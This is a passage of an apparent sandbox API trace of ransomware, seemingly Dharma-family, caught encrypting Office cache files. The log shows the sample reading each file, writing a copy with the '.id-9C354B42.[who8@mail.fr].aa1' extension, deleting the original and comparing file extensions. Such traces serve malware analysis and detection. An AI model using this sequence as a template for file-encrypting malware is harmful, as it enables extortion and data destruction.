(lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.753] GetLastError () returned 0x0 [0200.753] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x750, lpOverlapped=0x0) returned 1 [0201.135] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x760, lpOverlapped=0x0) returned 1 [0201.136] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.136] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0201.136] SetEndOfFile (hFile=0x15c) returned 1 [0201.137] CloseHandle (hObject=0x15c) returned 1 [0201.137] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.137] SetEndOfFile (hFile=0x178) returned 1 [0201.138] CloseHandle (hObject=0x178) returned 1 [0201.138] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.139] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0201.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.139] lstrlenW (lpString=".doc") returned 4 [0201.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString=".docx") returned 5 [0201.139] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.139] lstrlenW (lpString=".pdf") returned 4 [0201.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString=".xls") returned 4 [0201.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString=".xlsx") returned 5 [0201.139] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.139] lstrlenW (lpString=".ppt") returned 4 [0201.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.139] lstrlenW (lpString=".zip") returned 4 [0201.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.139] lstrlenW (lpString=".rar") returned 4 [0201.139] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString=".bz2") returned 4 [0201.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.139] lstrlenW (lpString=".7z") returned 3 [0201.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.139] lstrlenW (lpString=".dbf") returned 4 [0201.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.140] lstrlenW (lpString=".1cd") returned 4 [0201.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.140] lstrlenW (lpString=".jpg") returned 4 [0201.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.140] lstrlenW (lpString=".doc") returned 4 [0201.140] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString=".docx") returned 5 [0201.140] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.140] lstrlenW (lpString=".pdf") returned 4 [0201.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString=".xls") returned 4 [0201.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString=".xlsx") returned 5 [0201.140] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.140] lstrlenW (lpString=".ppt") returned 4 [0201.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.140] lstrlenW (lpString=".zip") returned 4 [0201.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.140] lstrlenW (lpString=".rar") returned 4 [0201.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.140] lstrlenW (lpString=".bz2") returned 4 [0201.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.141] lstrlenW (lpString=".7z") returned 3 [0201.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.141] lstrlenW (lpString=".dbf") returned 4 [0201.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.141] lstrlenW (lpString=".1cd") returned 4 [0201.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.141] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.141] lstrlenW (lpString=".jpg") returned 4 [0201.141] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.141] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.141] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0201.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.141] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=819) returned 1 [0201.141] CloseHandle (hObject=0x178) returned 1 [0201.142] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0201.142] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.142] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.142] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.142] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.142] GetLastError () returned 0x0 [0201.142] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x333, lpOverlapped=0x0) returned 1 [0201.143] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x340, lpOverlapped=0x0) returned 1 [0201.145] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.145] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0201.145] SetEndOfFile (hFile=0x15c) returned 1 [0201.145] CloseHandle (hObject=0x15c) returned 1 [0201.146] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.146] SetEndOfFile (hFile=0x178) returned 1 [0201.147] CloseHandle (hObject=0x178) returned 1 [0201.147] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.147] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0201.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.148] lstrlenW (lpString=".doc") returned 4 [0201.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString=".docx") returned 5 [0201.148] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0201.148] lstrlenW (lpString=".pdf") returned 4 [0201.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString=".xls") returned 4 [0201.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString=".xlsx") returned 5 [0201.148] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0201.148] lstrlenW (lpString=".ppt") returned 4 [0201.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.148] lstrlenW (lpString=".zip") returned 4 [0201.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.148] lstrlenW (lpString=".rar") returned 4 [0201.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString=".bz2") returned 4 [0201.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.148] lstrlenW (lpString=".7z") returned 3 [0201.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.148] lstrlenW (lpString=".dbf") returned 4 [0201.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.149] lstrlenW (lpString=".1cd") returned 4 [0201.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.149] lstrlenW (lpString=".jpg") returned 4 [0201.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.149] lstrlenW (lpString=".doc") returned 4 [0201.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString=".docx") returned 5 [0201.149] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0201.149] lstrlenW (lpString=".pdf") returned 4 [0201.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString=".xls") returned 4 [0201.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString=".xlsx") returned 5 [0201.149] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0201.149] lstrlenW (lpString=".ppt") returned 4 [0201.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.149] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.150] lstrlenW (lpString=".zip") returned 4 [0201.150] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.150] lstrlenW (lpString=".rar") returned 4 [0201.150] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.150] lstrlenW (lpString=".bz2") returned 4 [0201.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.150] lstrlenW (lpString=".7z") returned 3 [0201.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.150] lstrlenW (lpString=".dbf") returned 4 [0201.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.150] lstrlenW (lpString=".1cd") returned 4 [0201.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.150] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0201.150] lstrlenW (lpString=".jpg") returned 4 [0201.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.150] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.150] lstrlenW (lpString="Setup.xml") returned 9 [0201.150] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.151] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2624) returned 1 [0201.151] CloseHandle (hObject=0x178) returned 1 [0201.151] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0201.151] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.151] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.151] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.151] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.152] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0201.152] GetLastError () returned 0x0 [0201.153] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xa40, lpOverlapped=0x0) returned 1 [0201.154] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0201.162] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.162] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0201.162] SetEndOfFile (hFile=0x15c) returned 1 [0201.162] CloseHandle (hObject=0x15c) returned 1 [0201.164] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.164] SetEndOfFile (hFile=0x178) returned 1 [0201.165] CloseHandle (hObject=0x178) returned 1 [0201.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0201.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.165] lstrlenW (lpString=".doc") returned 4 [0201.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString=".docx") returned 5 [0201.166] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.166] lstrlenW (lpString=".pdf") returned 4 [0201.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString=".xls") returned 4 [0201.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString=".xlsx") returned 5 [0201.166] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.166] lstrlenW (lpString=".ppt") returned 4 [0201.166] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.166] lstrlenW (lpString=".zip") returned 4 [0201.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.166] lstrlenW (lpString=".rar") returned 4 [0201.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString=".bz2") returned 4 [0201.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString=".7z") returned 3 [0201.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.166] lstrlenW (lpString=".dbf") returned 4 [0201.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.166] lstrlenW (lpString=".1cd") returned 4 [0201.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.167] lstrlenW (lpString=".jpg") returned 4 [0201.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.167] lstrlenW (lpString=".doc") returned 4 [0201.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.167] lstrlenW (lpString=".docx") returned 5 [0201.167] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0201.167] lstrlenW (lpString=".pdf") returned 4 [0201.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.167] lstrlenW (lpString=".xls") returned 4 [0201.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.167] lstrlenW (lpString=".xlsx") returned 5 [0201.167] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0201.167] lstrlenW (lpString=".ppt") returned 4 [0201.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.168] lstrlenW (lpString=".zip") returned 4 [0201.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.168] lstrlenW (lpString=".rar") returned 4 [0201.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.168] lstrlenW (lpString=".bz2") returned 4 [0201.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.168] lstrlenW (lpString=".7z") returned 3 [0201.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.168] lstrlenW (lpString=".dbf") returned 4 [0201.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.168] lstrlenW (lpString=".1cd") returned 4 [0201.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0201.168] lstrlenW (lpString=".jpg") returned 4 [0201.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.168] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.169] lstrlenW (lpString="Office32WW.xml") returned 14 [0201.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.170] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4274) returned 1 [0201.170] CloseHandle (hObject=0x178) returned 1 [0201.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0201.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0201.171] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.171] SetFilePointerEx 